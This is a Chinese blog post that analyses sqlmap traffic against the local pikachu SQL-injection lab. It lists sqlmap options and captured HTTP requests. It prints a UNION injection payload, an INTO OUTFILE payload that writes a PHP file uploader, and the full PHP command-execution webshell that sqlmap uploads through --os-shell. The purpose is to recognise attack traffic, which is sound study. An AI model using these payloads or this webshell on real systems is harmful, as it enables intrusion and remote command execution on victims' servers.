首页 > 数据库 >SQLMAP流量分析

SQLMAP流量分析

时间:2023-09-05 20:33:11浏览次数:44  
标签:SQLMAP 分析 http -- 上传 流量 sqli php sqlmap

本篇文章作者幽壑,本文属i春秋原创奖励计划,未经许可禁止转载。
https://bbs.ichunqiu.com/thread-63533-1-1.html

SQLMAP流量特征分析

测试靶场:pikachu
测试环境:PHP5.4、Apache 2.0、MYSQL5.0.10
测试工具:sqlmap 1.5.6.3

关于环境配置,记得将mysql的secure_file_priv设置为空。

SHOW VARIABLES LIKE "secure_file_priv";
image

此处变量值为 NULL,即没设置允许操作的目录,所以没法导出到文件。

所以找到mysql.ini文件,结尾添加 secure_file_priv=""

然后重启mysql服务。
image
http://127.0.0.1/pikachu/vul/sqli/sqli_id.php
image

sqlmap参数实例

-u "http://xx.xx.xx"        //从链接获取扫描目标,GET方式
-u "http://www.target.com/vuln.php" --data="id=1"        //从链接获取扫描目标,POST方式
-r 1.txt --dump -T oa_f1Agggg -D oa_db  -batch        //从文件中加载,处理POST数据包和cookie问题
-r 1.txt --current-db
-m urllist.txt//从文本中获取多个目标扫描,但是每一行只能有一个url

--dbs        //获取数据库
-D 数据库 --tables //获取表名
-D 数据库 -T 数据库表 --columns        //获取列名
-D 数据库 -T 数据库表 -C 数据库表名1,数据库表名2 --dump        //获取字段

-p        //指定参数
--os        //探测系统
--tamper        //修改注入的数据
-b,--banner        //返回数据库的版本号
-current-user        //当前数据库管理用户
--current-db        //当前连接的数据库
--is-dba        //判断当前的用户是否为管理,是的话会返回True
--users        //当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户,列出并破解数据库用户的hash。
--passwords        //当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

//设定探测风险等级
--risk        
共有四个风险等级,0-4,
默认是1会测试大部分的测试语句,
2会增加基于时间的测试语句,
3会增加OR语句的SQL注入测试

--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"        //设置请求头
--random-agent        //随机请求头User-Agent
默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
--proxy=http://127.0.0.1:8080        //设置代理
--delay=1                //设置延迟
--batch                        //代表全自动 不用我们手动输入y/n

//设置回显等级,默认为1
-v 1
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认等级)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

流量分析

UA头隐藏

通过proxy参数让sqlmap把流量转发给burp来代理

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://127.0.0.1:8080 --os-shell

这里防止木马混乱后期不好清理就指定了一个新目录写入木马
image
随后我们一起来看数据包

这是最开始的数据包,也是sqlmap的探测包

GET /pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.6.3#dev (http://sqlmap.org)
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

发现sqlmap默认的UA头为User-Agent: sqlmap/1.5.6.3#dev (http://sqlmap.org)

所以如果没有伪装UA头的话,攻击流量都会暴露sqlmap和sqlmap的版本
一般通过--user-agent自定义ua头

--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101

image
随后进行参数拼接pyload测试

GET /pikachu/vul/sqli/sqli_str.php?name=1%27%20UNION%20ALL%20SELECT%20CONCAT%280x71626a6a71%2CJSON_ARRAYAGG%28CONCAT_WS%280x76636a746365%2Cschema_name%29%29%2C0x7170707171%29%2CNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.6.3#dev (http://sqlmap.org)
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mb0t9ruh324v0pgj7t31i6gnm2
Connection: close

解码一下参数如下

1' UNION ALL SELECT CONCAT(0x71626a6a71,IFNULL(CAST(schema_name AS NCHAR),0x20),0x7170707171),NULL FROM INFORMATION_SCHEMA.SCHEMATA#

在检查到注入点后,利用into outfile的方式写入临时的php文件,该临时php文件不可执行命令,但可文件上传。
image
利用ASCII HEX解密看看

1' LIMIT 0,1 INTO OUTFILE 'D:/h¬ker/phpstudy/WWW/pikachu/vul/sqli/mm/tmpuplhz.php' LINES TERMINATí BY 0x<?php[/size][/font][/backcolor][/color]
[color=#494b4d][backcolor=rgb(255, 255, 255)][font=&quot;][size=14px]if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=D:\\hacker\\phpstudy\\WWW\\pikachu\\vul\\sqli\\mm\\> <input type=submit name=upload value=upload></form>";}?>

继续观察数据包,sqlmap先是访问了一下这个php文件,随后通过这个具有上传功能的php上传了一个命令执行木马

image
image

上传的命令执行马如下

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";

找到我们上传的文件
image
两个木马的内容,上面这个是我们先写入的具有上传功能的php木马,下面的是我们通过上传功能上传的php命令执行木马
image

实际上是通过临时的php文件来上传另外一个可命令执行的php文件,以此来防止写入命令马后直接被杀掉。

当我们执行命令时
image
sqlmap会先尝试进行一个echo操作,来验证命令是否可以执行

image
随后才会执行输入的命令
image
退出–os-shell后,sqlmap会通过命令自动删除两个木马
image
image

小踩坑

1,在进行测试时记得设置secure_file_priv=‘’,否则导致写入文件失败,pikachu会提示mysql运行在secure_file_priv状态下。

2,上传木马选参数的时候,记得自定义上传木马路径,不然爆破起来后面清理很麻烦。

2,关闭防火墙,不然你就会看到这样,不管是上传马还是命令马都会直接被杀。
image

标签:SQLMAP,分析,http,--,上传,流量,sqli,php,sqlmap
From: https://www.cnblogs.com/Y0uhe/p/17342924.html

相关文章

  • AR智能眼镜方案定制_AR智能眼镜主板|光学显示方案分析
    AR眼镜面临着多个方面的挑战。从技术角度来看,AR眼镜主板的大小和功耗问题是需要解决的关键。此外,微投影技术也面临一些困难,涉及到FOV(视场)、分辨率、亮度等方面的设计。光引擎的设计也是一个挑战,需要解决光波导衰减和电池耗电量等问题。AR智能眼镜采用了MTK平台的八核芯片......
  • 需求分析和概要设计
    一、需求分析需求分析要明确目标系统应该做什么,而不是具体地去及解决问题。如下背景:1、用户知道自己需要解决的问题,但是不能用计算机软件的思维来表达;2、软件研发人员可以开发软件来解决问题,但是不能完全明白用户的特定要求;3、而需求分析人员就是通过和用户充分交流后,得出一个能够......
  • 安防监控/视频存储/视频汇聚平台EasyCVR如何接入智能分析网关V4?
    TSINGSEE青犀AI边缘计算网关硬件——智能分析网关目前有5个版本:V1、V2、V3、V4、V5,每个版本都能实现对监控视频的智能识别和分析,支持抓拍、记录、告警等,每个版本在算法模型及性能配置上略有不同。硬件可实现的AI检测包括:人脸结构化数据、车辆结构化数据、场景检测类算法、行业类......
  • Spring源码分析(十二)ApplicationContext详解(中)
    上篇文章已经对ApplicationContext的一部分内容做了介绍,ApplicationContext主要具有以下几个核心功能:国际化借助Environment接口,完成了对Spring运行环境的抽象,可以返回环境中的属性,并能出现占位符借助于Resource系列接口,完成对底层资源的访问和加载接触了ApplicationEventPublishe......
  • Wasm软件生态系统安全分析
     演讲嘉宾 | 王浩宇回顾整理 | 廖   涛排版校对 | 李萍萍嘉宾简介王浩宇,华中科技大学教授,博士生导师,华中科技大学OpenHarmony技术俱乐部主任。研究关注于新兴软件系统中的安全、隐私和可靠性问题,近五年发表CCF A类和CSRankings顶会论文近70篇,在软件安全和系统......
  • [SpringSecurity5.6.2源码分析二]:SecurityAutoConfiguration
    • SecurityAutoConfiguration是SpringSecurity最重要的一个自动配置类• 像以前版本的教程说要在启动类上配@EnableWebSecurity,现在也是由这个自动配置类负责引入• 分析一 已经介绍了DefaultAuthenticationEventPublisher,所以说重点就只有使用@Import导入的三个类,SpringBo......
  • ASP.NET MVC Preview生命周期分析
    我们从UrlRoutingModule开始,历经MvcRouteHandler、MvcHandler、Controller、ActionFilterAttribute,直到最后的ViewEngine、ViewPage.完成了整个ASP.NETMVC的生命周期探索。做ASP.NETWebForm开发都知道,ASP.NET有复杂的生命周期,学习ASP.NETMVC就要深入......
  • elasticsearch wildcard 慢查询原因分析(深入到源码!!!)
    大家好,我是蓝胖子,前段时间线上elasticsearch集群遇到多次wildcard产生的性能问题,elasticsearchwildcard一直是容易引发elasticsearch容易宕机的一个风险点,但究竟它为何消耗cpu呢?又该如何理解elasticsearchprofileapi的返回结果呢?在探索了部分源码后,我将在这篇文章一一揭......
  • 浅分析安防视频监控平台EasyCVR视频融合平台接入大量设备后如何维持负载均衡
    安防视频监控平台EasyCVR视频融合平台可拓展性强、视频能力灵活、部署轻快,可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。视频汇聚融合管理平台EasyCVR既具备传统安防视频监控的能力,也具备接入AI智能分......
  • 形式化建模与分析方法-笔记
    第五章命题逻辑定义定义3-1对事物作出确定判断的陈述句称为命题。当符号P表示一个确定命题时,该符号称为命题常元。当符号P表示任意一个命题时,该符号称为命题变元。原子命题:原子命题是不能再细分的命题复合命题:原子命题通过命题联结词构造的命题。(命题联结词:非合取......